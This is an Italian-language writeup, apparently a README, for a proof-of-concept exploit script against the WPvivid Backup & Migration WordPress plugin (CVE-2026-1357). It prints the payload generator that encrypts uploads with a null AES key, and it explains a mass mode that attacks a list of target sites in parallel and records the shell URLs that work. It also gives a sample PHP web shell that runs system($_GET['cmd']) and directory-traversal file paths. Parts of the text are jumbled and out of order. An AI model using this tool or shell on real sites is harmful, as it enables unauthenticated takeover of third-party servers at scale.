
Migration, Backup, Staging <= 0.9.123 - Caricamento arbitrario di file senza autenticazione
CVE-2026-1357.py)Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilità: Upload Arbitrario di File Non Autenticato → Esecuzione di Codice Remoto
CVE: CVE-2026-1357 – CVSS 9.8 (Critico)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py è uno strumento di sfruttamento proof-of-concept per la vulnerabilità WPvivid. Si concentra sulla gestione difettosa della sessione AES che consente a un attaccante di:
name) scelto all'interno del payload.wpvivid_action=send_to_site.Lo script non tenta di indovinare o abusare direttamente delle chiavi private. Simula invece il flusso corrotto di WPvivid in cui un openssl_private_decrypt() fallito porta all'inizializzazione del cifrario AES di phpseclib con una chiave nulla.
Il cuore dell'exploit è in gen_wpvivid_payload():
Costruisce una struttura JSON:
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
Serializza questo JSON (forma compatta, senza spazi).
Crittografa il JSON usando:
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16Antepone quindi:
"000" (segnaposto statico per il campo lunghezza)."{len(cipher):016X}".Il blob crittografato finale è:
"000" + <16-byte hex lunghezza cifrato> + <ciphertext AES-CBC grezzo>
Questo blob viene codificato in base64 e restituito come valore finale di wpvivid_content.
Funzione:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
Questo corrisponde alle aspettative di decrittazione di WPvivid nel percorso di codice vulnerabile dopo il fallimento della decrittazione RSA.
Lo script ha due modalità principali più una capacità di test di massa:
mood1 – Generatore di Payload
wpvivid_content usando il trucco della chiave nulla.mood2 – Tester su Target Singolo
Mass Mode (da mood1)
python3 CVE-2026-1357.py
Vedrai una UI basata su Rich con un banner e la selezione della modalità:
mood1 – Generatore di Payloadmood2 – Tester su Target Singolowpvivid_content) che codifica:
Selezione modalità
Quando richiesto:
Choose mode (mood1/mood2) [mood1]:
Premi Invio (predefinito mood1) o digita mood1.
Nome file / percorso target
Ti viene chiesto:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
Esempi:
Per rilasciare un file nella directory di backup di WPvivid:
Nx_.php
Per abusare del directory traversal (se consentito dal target):
../../public_html/Nx_.php
Il valore viene inserito nel campo name del payload JSON.
Modalità di inserimento contenuto
Lo script mostra tre modi per definire il contenuto del file:
EOF).Dopo aver generato il payload, lo script chiede:
Auto-send this payload to targets list (mass mode)? (y/N):
Se rispondi y, avvia la mass mode con il payload e il nome file appena creati.
File dei target
Esempio di richiesta:
Targets list file (one URL per line):
Formato atteso del file (es. targets.txt):
https://site1.com
site2.com
http://site3.net
Lo script normalizzerà automaticamente gli URL base (aggiungendo lo schema dove manca).
Numero di thread
Threads (concurrent sites) [5]:
Controlla quanti siti vengono elaborati in parallelo.
Logica per target
Per ogni target:
Normalizza l'URL → base_url.
Chiama:
send_wpvivid_payload(base_url, payload)
che:
wpvivid_action=send_to_site + wpvivid_content=<payload>.{"result":"success"} (controllo in forma compatta).wpvivid_payload.txt o da fonte esterna) contro un singolo URL e verificare il file risultante.URL target
Richiesta:
Target base URL (e.g., https://site.com):
Esempio:
https://victim.com
Lo script normalizza questo in una base come:
https://victim.com
Nome file
Richiesta:
Expected file name (e.g., Nx_.php):
Questo è il nome/percorso che ti aspetti che WPvivid scriva (corrispondente a quello codificato nel campo name del payload).
Input payload
Richiesta:
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
wpvivid_content=..., rimuove il prefisso.Esecuzione
Lo script:
Invia la POST con wpvivid_action=send_to_site + il tuo wpvivid_content.
Questa modalità è ideale per test manuali / di laboratorio su un singolo sito con controllo preciso del payload.
wpvivid_payload.txt
mood1.file_name=<file_name_you_chose>wpvivid_content=<payload>Nx_.txt
mood1 (mass mode) e mood2.Questo strumento è destinato esclusivamente a:
Usando questo script, accetti che:
Usalo a tuo rischio e solo per test di sicurezza legittimi.
Nxploited (Khaled Alenazi)https://github.com/Nxploited@KNxploitedPer aggiornamenti, strumenti e contenuti di ricerca sulla sicurezza, segui il canale Telegram:
👉 @KNxploited
shell.phpTi viene chiesto:
Mode [1/2/3] [1]:
Modalità 1 – Riga singola
Single line content:
Esempio di input:
<?php phpinfo();
Modalità 2 – Multi-riga
Enter file content, line by line. Type 'EOF' on its own line when done.
Puoi incollare o digitare uno script PHP multi-riga, quindi terminare con EOF su una riga dedicata:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
Modalità 3 – File locale
Local file path (e.g., shell.php):
Lo script legge l'intero file in file_bytes.
Generazione payload
Una volta acquisito il contenuto, lo script:
Vedrai un output come:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
E viene scritto un file wpvivid_payload.txt:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
Se l'upload è considerato riuscito:
Costruisce shell_url come:
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
Lo salva in Nx_.txt.
Tenta verify_written_file():
shell_url.status_code == 200, lo segna come verificato.Se si verificano errori:
short_reason():
UI
[OK] <shell_url> in caso di successo.[FAIL] <base> (reason: ...) in caso di errore.[!] Not verified (...) quando l'upload potrebbe essere riuscito ma la verifica è fallita.Se la risposta suggerisce successo, costruisce:
<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
e stampa [OK] con quell'URL.
Aggiunge gli URL riusciti a Nx_.txt.
Tenta la verifica tramite verify_written_file() e stampa il risultato.